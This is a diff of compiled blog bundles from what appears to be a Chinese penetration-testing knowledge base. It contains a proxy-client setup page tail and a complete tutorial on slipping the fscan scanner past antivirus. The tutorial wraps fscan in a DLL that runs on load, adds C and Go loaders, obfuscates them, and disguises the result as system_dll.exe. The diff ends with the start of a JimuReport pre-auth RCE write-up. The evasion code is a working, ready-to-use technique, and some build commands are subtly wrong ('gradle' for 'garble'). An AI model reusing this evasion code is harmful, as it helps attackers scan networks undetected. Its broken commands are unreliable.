-d\n"})}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{alt:"image-20221222233609264",src:s(42233).A+"",width:"1306",height:"147"})}),"\n",(0,l.jsx)(e.h3,{id:"\u67e5\u770b\u72b6\u6001",children:"\u67e5\u770b\u72b6\u6001"}),"\n",(0,l.jsxs)(e.blockquote,{children:["\n",(0,l.jsx)(e.p,{children:"\u82e5\u51fa\u73b0\u4e0b\u5217\u56fe\u7247\u4e2d\u7684\u60c5\u51b5\u5219\u4e3a\u542f\u52a8\u6210\u529f\u4e86"}),"\n"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-yaml",children:"docker-compose logs\n"})}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{alt:"image-20221222233803640",src:s(90163).A+"",width:"1165",height:"490"})}),"\n",(0,l.jsx)(e.h2,{id:"\u5ba2\u6237\u7aef\u9009\u62e9",children:"\u5ba2\u6237\u7aef\u9009\u62e9"}),"\n",(0,l.jsxs)(e.ul,{children:["\n",(0,l.jsxs)(e.li,{children:["windows\uff1a",(0,l.jsx)(e.a,{href:"https://www.qv2ray.com/",children:"winxray"}),"\u3001",(0,l.jsx)(e.a,{href:"https://github.com/2dust/v2rayN",children:"v2rayN"})]}),"\n",(0,l.jsxs)(e.li,{children:["linux\uff1a",(0,l.jsx)(e.a,{href:"https://v2raya.org/",children:"v2rayA"})]}),"\n",(0,l.jsxs)(e.li,{children:["ios\uff1a",(0,l.jsx)(e.a,{href:"https://shadowrocket.gitbook.io/shadowrocket/help",children:"Shadowrocket"})," # \u8fd9\u4e2a\u8981\u94b1\uff0c\u7f51\u4e0a\u627e\u4e00\u4e0b\u6559\u7a0b"]}),"\n",(0,l.jsxs)(e.li,{children:["\u5b89\u5353\uff1a",(0,l.jsx)(e.a,{href:"https://github.com/2dust/v2rayNG",children:"V2rayNG"})]}),"\n",(0,l.jsxs)(e.li,{children:["Mac\uff1a",(0,l.jsx)(e.a,{href:"https://iyideng.net/tools/qv2ray.html",children:"Qv2ray"})]}),"\n"]}),"\n",(0,l.jsx)(e.h2,{id:"\u8ba2\u9605\u94fe\u63a5\u8bbe\u7f6e",children:"\u8ba2\u9605\u94fe\u63a5\u8bbe\u7f6e"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{children:"vless://\u4f60\u7684ID@\u4f60\u7684\u57df\u540d:\u4f60\u8bbe\u7f6e\u7684\u7aef\u53e3?flow=xtls-rprx-direct&host=&security=xtls&sni=\n"})})]})}function h(n={}){const{wrapper:e}={...(0,c.R)(),...n.components};return e?(0,l.jsx)(e,{...n,children:(0,l.jsx)(a,{...n})}):a(n)}},42233:(n,e,s)=>{s.d(e,{A:()=>r});const r=s.p+"assets/images/image-20221222233609264-407896cf6331126744df11bcd118b839.png"},57466:(n,e,s)=>{s.d(e,{A:()=>r});const r=s.p+"assets/images/image-20221222232309364-b6294a7774aa906fee4022a584f36bf1.png"},63457:(n,e,s)=>{s.d(e,{A:()=>r});const r=s.p+"assets/images/image-20221222233933291-e67d6a2a97b95efc13570ea11d639671.png"},90163:(n,e,s)=>{s.d(e,{A:()=>r});const r=s.p+"assets/images/image-20221222233803640-55cc2a0cdebd13c25e2b30c7d5a61417.png"}}]); \ No newline at end of file diff --git a/assets/js/f8f53a7a.b5d7a71a.js b/assets/js/f8f53a7a.b5d7a71a.js new file mode 100644 index 0000000..4088968 --- /dev/null +++ b/assets/js/f8f53a7a.b5d7a71a.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[2878],{28453:(n,e,l)=>{l.d(e,{R:()=>c,x:()=>i});var t=l(96540);const r={},s=t.createContext(r);function c(n){const e=t.useContext(s);return t.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function i(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(r):n.components||r:c(n.components),t.createElement(s.Provider,{value:e},n.children)}},56575:(n,e,l)=>{l.r(e),l.d(e,{assets:()=>d,contentTitle:()=>i,default:()=>h,frontMatter:()=>c,metadata:()=>t,toc:()=>a});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u514d\u6740/fscan\u514d\u6740/README","title":"fscan\u514d\u6740","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/06.\u514d\u6740/01.fscan\u514d\u6740/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/06.\u514d\u6740/01.fscan\u514d\u6740","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u514d\u6740/fscan\u514d\u6740/","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u514d\u6740/fscan\u514d\u6740/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/06.\u514d\u6740/01.fscan\u514d\u6740/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"JS\u8fd8\u539f","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/JS\u8fd8\u539f/"},"next":{"title":"\u53bb\u7279\u5f81","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u514d\u6740/\u53bb\u7279\u5f81/"}}');var r=l(74848),s=l(28453);const c={},i="fscan\u514d\u6740",d={},a=[{value:"\u524d\u8a00",id:"\u524d\u8a00",level:2},{value:"\u8fc7\u7a0b",id:"\u8fc7\u7a0b",level:2},{value:"\u7ed3\u679c",id:"\u7ed3\u679c",level:2},{value:"\u53c2\u8003",id:"\u53c2\u8003",level:2}];function o(n){const e={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,s.R)(),...n.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(e.header,{children:(0,r.jsx)(e.h1,{id:"fscan\u514d\u6740",children:"fscan\u514d\u6740"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-15 00:35:44"})]})})]}),"\n",(0,r.jsx)(e.h1,{id:"fscan\u514d\u6740-1",children:"fscan\u514d\u6740"}),"\n",(0,r.jsx)(e.h2,{id:"\u524d\u8a00",children:"\u524d\u8a00"}),"\n",(0,r.jsxs)(e.p,{children:["\u9996\u6b21\u5b66\u4e60\u514d\u6740\uff0c\u5229\u7528dll\u52ab\u6301\u7684\u65b9\u5f0f\uff0c\u5229\u7528\u5fae\u8f6f\u7684\u767d\u540d\u5355\u673a\u5236\uff0c\u5b9e\u73b0\u514d\u6740\u3002\u672c\u7ae0\u8282\u4ee3\u7801\u5df2\u540c\u6b65\u81f3github\uff0c\u9879\u76ee\u5730\u5740\uff1a ",(0,r.jsx)(e.a,{href:"https://github.com/wjlin0/fscan",children:"fscan"})]}),"\n",(0,r.jsx)(e.h2,{id:"\u8fc7\u7a0b",children:"\u8fc7\u7a0b"}),"\n",(0,r.jsx)(e.p,{children:"\u51c6\u5907fscan\u7684\u6e90\u7801\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-shell",children:"git clone https://github.com/shadow1ng/fscan.git\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u5c06fsacn\u7684\u6e90\u7801\u4e2d\u7684main.go\u6587\u4ef6\u4e2d\u7684main\u51fd\u6570\u5982\u4e0b\uff0c\u7531\u4e8e",(0,r.jsx)(e.code,{children:"init"}),"\u51fd\u6570\uff0c\u5728go\u8bed\u8a00\u4e2d\uff0c\u4e3a\u5305\u9996\u6b21\u8c03\u7528\u7684\u65f6\u5019\u4f1a\u88ab\u6267\u884c\uff1bGo \u7f16\u5199\u7684 DLL \u88ab C \u7a0b\u5e8f\u8c03\u7528\u65f6\uff0c",(0,r.jsx)(e.code,{children:"init"})," \u51fd\u6570\u4f1a\u5728 DLL \u52a0\u8f7d\u5230\u5185\u5b58\u65f6\u6267\u884c\uff0c\u800c ",(0,r.jsx)(e.code,{children:"main"})," \u51fd\u6570\u901a\u5e38\u4e0d\u9002\u7528\u4e8e DLL \u5e76\u4e14\u4e0d\u4f1a\u88ab\u6267\u884c\u3002"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'package main\n\nimport "C"\n\nimport (\n "fmt"\n "time"\n\n "github.com/shadow1ng/fscan/Plugins"\n "github.com/shadow1ng/fscan/common"\n)\n\n//export DllCanUnloadNow\nfunc DllCanUnloadNow() {}\n\n//export DllGetClassObject\nfunc DllGetClassObject() {}\n\n//export DllRegisterServer\nfunc DllRegisterServer() {}\n\n//export DllUnregisterServer\nfunc DllUnregisterServer() {}\n\nfunc init() {\n start := time.Now()\n var Info common.HostInfo\n common.Flag(&Info)\n common.Parse(&Info)\n Plugins.Scan(Info)\n t := time.Now().Sub(start)\n fmt.Printf("[*] \u626b\u63cf\u7ed3\u675f,\u8017\u65f6: %s\\n", t)\n}\n\n\nfunc main(){}\n\n'})}),"\n",(0,r.jsxs)(e.p,{children:["\u7f16\u8bd1 ",(0,r.jsx)(e.code,{children:"windows amd64"})," \u4e0b\u7684 ",(0,r.jsx)(e.code,{children:"dll"})]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sh",children:"GOOS=windows GOARCH=amd64 CGO_ENABLED=1\ngo build -buildmode=c-shared -o fscan.dll ./cmd/fscan_dll/main.go\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u8fd9\u91cc\u53ef\u4ee5\u9009\u62e9 ",(0,r.jsx)(e.code,{children:"c"}),"\u548c",(0,r.jsx)(e.code,{children:"go"}),"\u52a0\u8f7d\u5668\uff0c",(0,r.jsx)(e.code,{children:"c"}),"\u52a0\u8f7d\u5668\u7684\u4ee3\u7801\u5982\u4e0b\uff1a"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-c",children:'// gcc -o fscan_load fscan_load.c\n\n#include \n#include \n\nint main() {\n HMODULE hDLL;\n hDLL = LoadLibrary("fscan.dll");\n\n if (hDLL != NULL) {\n // \u5b9a\u4e49\u51fd\u6570\u6307\u9488\u7c7b\u578b\n typedef void (*FunctionType)();\n\n // \u4e3a\u6bcf\u4e2a\u5bfc\u51fa\u51fd\u6570\u521b\u5efa\u4e00\u4e2a\u51fd\u6570\u6307\u9488\n FunctionType DllCanUnloadNow = (FunctionType)GetProcAddress(hDLL, "DllCanUnloadNow");\n FunctionType DllGetClassObject = (FunctionType)GetProcAddress(hDLL, "DllGetClassObject");\n FunctionType DllRegisterServer = (FunctionType)GetProcAddress(hDLL, "DllRegisterServer");\n FunctionType DllUnregisterServer = (FunctionType)GetProcAddress(hDLL, "DllUnregisterServer");\n\n // \u8c03\u7528\u6bcf\u4e2a\u51fd\u6570\uff08\u5982\u679c\u51fd\u6570\u6307\u9488\u975e\u7a7a\uff09\n if (DllCanUnloadNow) DllCanUnloadNow();\n if (DllGetClassObject) DllGetClassObject();\n if (DllRegisterServer) DllRegisterServer();\n if (DllUnregisterServer) DllUnregisterServer();\n\n // \u5378\u8f7d DLL\n FreeLibrary(hDLL);\n printf("All functions executed successfully.\\n");\n }\n else {\n printf("Failed to load DLL.\\n");\n }\n\n return 0;\n}\n'})}),"\n",(0,r.jsxs)(e.p,{children:["\u7f16\u5199",(0,r.jsx)(e.code,{children:"dll"}),"\u52a0\u8f7d\u5668\uff0c",(0,r.jsx)(e.code,{children:"dll"}),"\u52a0\u8f7d\u5668\u7684\u4f5c\u7528\u662f\u5c06",(0,r.jsx)(e.code,{children:"dll"}),"\u52a0\u8f7d\u5230\u5185\u5b58\u4e2d\uff0c\u7136\u540e\u8c03\u7528",(0,r.jsx)(e.code,{children:"dll"}),"\u4e2d\u7684",(0,r.jsx)(e.code,{children:"init"}),"\u51fd\u6570\uff0c\u5b9e\u73b0\u514d\u6740\u3002"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'// gradle build -o fscan_loader_go.exe main.go\npackage main\n\nimport (\n\t"fmt"\n\t"syscall"\n)\n\nfunc main() {\n\tdll, err := syscall.LoadLibrary("fscan_go.dll")\n\tif err != nil {\n\t\tfmt.Printf("[-] Failed to load DLL: %s\\n", err)\n\t\treturn\n\t}\n\n\tdefer func(handle syscall.Handle) {\n\t\terr := syscall.FreeLibrary(handle)\n\t\tif err != nil {\n\t\t\tfmt.Printf("[-] Failed to free DLL: %s\\n", err)\n\t\t}\n\t}(dll)\n\n\t// \u5b9a\u4e49\u5e76\u5c1d\u8bd5\u83b7\u53d6 DLL \u4e2d\u7684\u51fd\u6570\n\tdllCanUnloadNow, err := syscall.GetProcAddress(dll, "DllCanUnloadNow")\n\t// \u5224\u65aderr == nil \u5e76\u4e14 dllCanUnloadNow != 0\n\tif err == nil && dllCanUnloadNow != 0 {\n\t\t_, _, err := syscall.SyscallN(dllCanUnloadNow, 0, 0, 0, 0)\n\t\tif err != 0 {\n\t\t\tfmt.Printf("[-] Failed to execute DllCanUnloadNow: %s\\n", err)\n\t\t}\n\t}\n\n\tdllGetClassObject, err := syscall.GetProcAddress(dll, "DllGetClassObject")\n\tif err == nil && dllGetClassObject != 0 {\n\t\t_, _, err := syscall.SyscallN(dllGetClassObject, 0, 0, 0, 0)\n\t\tif err != 0 {\n\t\t\tfmt.Printf("[-] Failed to execute DllGetClassObject: %s\\n", err)\n\t\t}\n\t}\n\n\tdllRegisterServer, err := syscall.GetProcAddress(dll, "DllRegisterServer")\n\tif err == nil && dllRegisterServer != 0 {\n\t\t_, _, err := syscall.SyscallN(dllRegisterServer, 0, 0, 0, 0)\n\t\tif err != 0 {\n\t\t\tfmt.Printf("[-] Failed to execute DllRegisterServer: %s\\n", err)\n\t\t}\n\t}\n\n\tdllUnregisterServer, err := syscall.GetProcAddress(dll, "DllUnregisterServer")\n\tif err == nil && dllUnregisterServer != 0 {\n\t\t_, _, err := syscall.SyscallN(dllUnregisterServer, 0, 0, 0, 0)\n\t\tif err != 0 {\n\t\t\tfmt.Printf("[-] Failed to execute DllUnregisterServer: %s\\n", err)\n\t\t}\n\t}\n\n\tfmt.Println("All functions executed successfully.")\n}\n\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u4f7f\u7528go\u8bed\u8a00\u7f16\u8bd1\u52a0\u8f7d\u5668\uff0c \u9700\u8981\u4f7f\u7528gradle\u8fdb\u884c\u6df7\u6dc6\uff0c\u9632\u6b62\u88ab\u6740\u8f6f\u67e5\u6740\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-shell",children:"go install mvdan.cc/garble@latest\nGOOS=windows GOARCH=amd64 CGO_ENABLED=1\ngradle build -o fscan_loader.exe ./cmd/fscan_loader/main.go\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u5c06",(0,r.jsx)(e.code,{children:"fscan.dll"}),"\u548c",(0,r.jsx)(e.code,{children:"fscan_loader.exe"}),"\u653e\u5728\u540c\u4e00\u76ee\u5f55\u4e0b\uff0c\u8fd0\u884c",(0,r.jsx)(e.code,{children:"fscan_loader.exe"}),"\uff0c\u5373\u53ef\u5b9e\u73b0\u514d\u6740\u3002"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sh",children:"# \u6539\u4e2a\u540d\u5b57\nmv fscan_loader.exe system_dll.exe\n./system_dll.exe\n"})}),"\n",(0,r.jsx)(e.h2,{id:"\u7ed3\u679c",children:"\u7ed3\u679c"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.strong,{children:"\u706b\u7ed2"})}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191645168.png",alt:"image-20240113042901727"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u5fae\u6b65\u4e91\u6c99\u7bb1"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191645169.png",alt:"image-20240113044447895"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191645170.png",alt:"image-20240113044504534"})}),"\n",(0,r.jsx)(e.h2,{id:"\u53c2\u8003",children:"\u53c2\u8003"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.a,{href:"https://mp.weixin.qq.com/s/Yuk7Ev_JP8JAf_8uvIhdVw",children:"fscan\u514d\u6740"})}),"\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.a,{href:"https://wjlin0.com/archives/1705092744971",children:"https://wjlin0.com/archives/1705092744971"})}),"\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.a,{href:"https://github.com/wjlin0/fscan",children:"fscan"})}),"\n"]})]})}function h(n={}){const{wrapper:e}={...(0,s.R)(),...n.components};return e?(0,r.jsx)(e,{...n,children:(0,r.jsx)(o,{...n})}):o(n)}}}]); \ No newline at end of file diff --git a/assets/js/f95a6c25.df9416fb.js b/assets/js/f95a6c25.df9416fb.js new file mode 100644 index 0000000..a7fe0eb --- /dev/null +++ b/assets/js/f95a6c25.df9416fb.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4704],{6723:(e,n,r)=>{r.d(n,{A:()=>t});const t=r.p+"assets/images/image-20260902170822314-2479d4b10d3166f57f3f4106450e5b09.png"},10031:(e,n,r)=>{r.d(n,{A:()=>t});const t=r.p+"assets/images/image-20260902161822367-eeff7f87862318c111ef4f2bca0ee87b.png"},17134:(e,n,r)=>{r.d(n,{A:()=>t});const t=r.p+"assets/images/image-20260902162958987-6b0f2de0175b1ee48779494dd00f2528.png"},21594:(e,n,r)=>{r.d(n,{A:()=>t});const t=r.p+"assets/images/image-20260902171222468-3ce22a7b4787de4260505ba743e7a828.png"},28453:(e,n,r)=>{r.d(n,{R:()=>o,x:()=>c});var t=r(96540);const s={},i=t.createContext(s);function o(e){const n=t.useContext(i);return t.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function c(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:o(e.components),t.createElement(i.Provider,{value:n},e.children)}},44644:(e,n,r)=>{r.d(n,{A:()=>t});const t=r.p+"assets/images/image-20260902171015989-edde1f3e40c728620e546040df3ca6c6.png"},54066:(e,n,r)=>{r.d(n,{A:()=>t});const t=r.p+"assets/images/image-20260902161458266-dee0c3a94521f0e37d754a9726086f1a.png"},58061:(e,n,r)=>{r.d(n,{A:()=>t});const t=r.p+"assets/images/image-20260902162900466-ef44dc18a1dcaef5425315eb1dca2084.png"},58464:(e,n,r)=>{r.r(n),r.d(n,{assets:()=>l,contentTitle:()=>c,default:()=>p,frontMatter:()=>o,metadata:()=>t,toc:()=>d});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/JeecgBoot/JeecgBoot 3.9.5 pre-auth RCE\u6f0f\u6d1e\u7ed5\u8fc7/README","title":"JimuReport \u81ea\u52a8\u5bfc\u51fa Python \u63d2\u4ef6\u8868\u8fbe\u5f0f\u6ce8\u5165\u4fee\u590d\u7ed5\u8fc7\u6f0f\u6d1e\u5206\u6790","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/08.JeecgBoot/02.JeecgBoot 3.9.5 pre-auth RCE\u6f0f\u6d1e\u7ed5\u8fc7/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/08.JeecgBoot/02.JeecgBoot 3.9.5 pre-auth RCE\u6f0f\u6d1e\u7ed5\u8fc7","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/JeecgBoot/JeecgBoot 3.9.5 pre-auth RCE\u6f0f\u6d1e\u7ed5\u8fc7/","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/JeecgBoot/JeecgBoot 3.9.5 pre-auth RCE\u6f0f\u6d1e\u7ed5\u8fc7/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/08.JeecgBoot/02.JeecgBoot 3.9.5 pre-auth RCE\u6f0f\u6d1e\u7ed5\u8fc7/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u7528\u53cb YonBIP NCSysBrokerServlet \u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u6df1\u5ea6\u5206\u6790","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/\u7528\u53cb/YonBIP/YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790/YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790(1)"},"next":{"title":"JAVA\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/\u57fa\u7840\u5ba1\u8ba1/JAVA\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e"}}');var s=r(74848),i=r(28453);const o={},c="JimuReport \u81ea\u52a8\u5bfc\u51fa Python \u63d2\u4ef6\u8868\u8fbe\u5f0f\u6ce8\u5165\u4fee\u590d\u7ed5\u8fc7\u6f0f\u6d1e\u5206\u6790",l={},d=[{value:"\u4e00\u3001\u6f0f\u6d1e\u540d\u79f0",id:"\u4e00\u6f0f\u6d1e\u540d\u79f0",level:2},{value:"\u4e8c\u3001\u6f0f\u6d1e\u63cf\u8ff0",id:"\u4e8c\u6f0f\u6d1e\u63cf\u8ff0",level:2},{value:"\u4e09\u3001\u5f71\u54cd\u5382\u5546\u53ca\u4ea7\u54c1\u578b\u53f7",id:"\u4e09\u5f71\u54cd\u5382\u5546\u53ca\u4ea7\u54c1\u578b\u53f7",level:2},{value:"\u7f51\u7edc\u7a7a\u95f4\u641c\u7d22\u5f15\u64ce:",id:"\u7f51\u7edc\u7a7a\u95f4\u641c\u7d22\u5f15\u64ce",level:3},{value:"\u56db\u3001\u5f71\u54cd\u4ea7\u54c1\u7248\u672c",id:"\u56db\u5f71\u54cd\u4ea7\u54c1\u7248\u672c",level:2},{value:"\u4e94\u3001\u590d\u73b0\u8fc7\u7a0b\u53ca\u590d\u73b0\u622a\u56fe",id:"\u4e94\u590d\u73b0\u8fc7\u7a0b\u53ca\u590d\u73b0\u622a\u56fe",level:2},{value:"1. \u51c6\u5907\u9a8c\u8bc1\u73af\u5883",id:"1-\u51c6\u5907\u9a8c\u8bc1\u73af\u5883",level:3},{value:"2. \u83b7\u53d6\u62a5\u8868 ID",id:"2-\u83b7\u53d6\u62a5\u8868-id",level:3},{value:"3. \u6784\u9020\u539f\u59cb\u8bf7\u6c42\u4f53",id:"3-\u6784\u9020\u539f\u59cb\u8bf7\u6c42\u4f53",level:3},{value:"4. \u8ba1\u7b97\u8bf7\u6c42\u5934",id:"4-\u8ba1\u7b97\u8bf7\u6c42\u5934",level:3},{value:"5. \u624b\u5de5\u53d1\u9001\u7ed5\u8fc7\u8bf7\u6c42",id:"5-\u624b\u5de5\u53d1\u9001\u7ed5\u8fc7\u8bf7\u6c42",level:3},{value:"6. \u89c2\u5bdf\u6210\u529f\u54cd\u5e94\u548c\u9a8c\u8bc1\u4fe1\u53f7",id:"6-\u89c2\u5bdf\u6210\u529f\u54cd\u5e94\u548c\u9a8c\u8bc1\u4fe1\u53f7",level:3},{value:"7.\u5199\u5165RCE",id:"7\u5199\u5165rce",level:3},{value:"\u516d\u3001\u6f0f\u6d1e\u5206\u6790\uff1a",id:"\u516d\u6f0f\u6d1e\u5206\u6790",level:2},{value:"1. \u4fee\u590d\u524d\u540e\u5165\u53e3\u8fb9\u754c\u5bf9\u6bd4",id:"1-\u4fee\u590d\u524d\u540e\u5165\u53e3\u8fb9\u754c\u5bf9\u6bd4",level:3},{value:"2. JimuReportAutoController \u6570\u636e\u6d41",id:"2-jimureportautocontroller-\u6570\u636e\u6d41",level:3},{value:"3. JimuReportSignatureInterceptor\uff1a\u7b7e\u540d\u901a\u8fc7\u4f46\u4e0d\u6062\u590d\u8eab\u4efd\u8ba4\u8bc1",id:"3-jimureportsignatureinterceptor\u7b7e\u540d\u901a\u8fc7\u4f46\u4e0d\u6062\u590d\u8eab\u4efd\u8ba4\u8bc1",level:3},{value:"4. JimuReportAutoServiceImpl\uff1a\u4e24\u6761\u5165\u53e3\u6c47\u805a\u5230\u540c\u4e00\u670d\u52a1",id:"4-jimureportautoserviceimpl\u4e24\u6761\u5165\u53e3\u6c47\u805a\u5230\u540c\u4e00\u670d\u52a1",level:3},{value:"5. PyExecHandler \u4e0e auto_export.py\uff1a\u8868\u8fbe\u5f0f\u6570\u636e\u8fdb\u5165\u6267\u884c\u6d41\u7a0b",id:"5-pyexechandler-\u4e0e-auto_exportpy\u8868\u8fbe\u5f0f\u6570\u636e\u8fdb\u5165\u6267\u884c\u6d41\u7a0b",level:3},{value:"6. \u6839\u56e0\u5b9a\u4f4d",id:"6-\u6839\u56e0\u5b9a\u4f4d",level:3},{value:"7. \u4fee\u590d\u5efa\u8bae",id:"7-\u4fee\u590d\u5efa\u8bae",level:3},{value:"\u4e03\u3001\u5176\u4ed6\u8bf4\u660e\u4e8b\u9879\uff1a",id:"\u4e03\u5176\u4ed6\u8bf4\u660e\u4e8b\u9879",level:2}];function a(e){const n={code:"code",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,i.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(n.header,{children:(0,s.jsx)(n.h1,{id:"jimureport-\u81ea\u52a8\u5bfc\u51fa-python-\u63d2\u4ef6\u8868\u8fbe\u5f0f\u6ce8\u5165\u4fee\u590d\u7ed5\u8fc7\u6f0f\u6d1e\u5206\u6790",children:"JimuReport \u81ea\u52a8\u5bfc\u51fa Python \u63d2\u4ef6\u8868\u8fbe\u5f0f\u6ce8\u5165\u4fee\u590d\u7ed5\u8fc7\u6f0f\u6d1e\u5206\u6790"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2026-09-02 17:17:50"})]})})]}),"\n",(0,s.jsx)(n.h2,{id:"\u4e00\u6f0f\u6d1e\u540d\u79f0",children:"\u4e00\u3001\u6f0f\u6d1e\u540d\u79f0"}),"\n",(0,s.jsx)(n.p,{children:"JimuReport \u81ea\u52a8\u5bfc\u51fa Python \u63d2\u4ef6\u8868\u8fbe\u5f0f\u6ce8\u5165\u4fee\u590d\u7ed5\u8fc7\u6f0f\u6d1e"}),"\n",(0,s.jsx)(n.h2,{id:"\u4e8c\u6f0f\u6d1e\u63cf\u8ff0",children:"\u4e8c\u3001\u6f0f\u6d1e\u63cf\u8ff0"}),"\n",(0,s.jsxs)(n.p,{children:["JeecgBoot 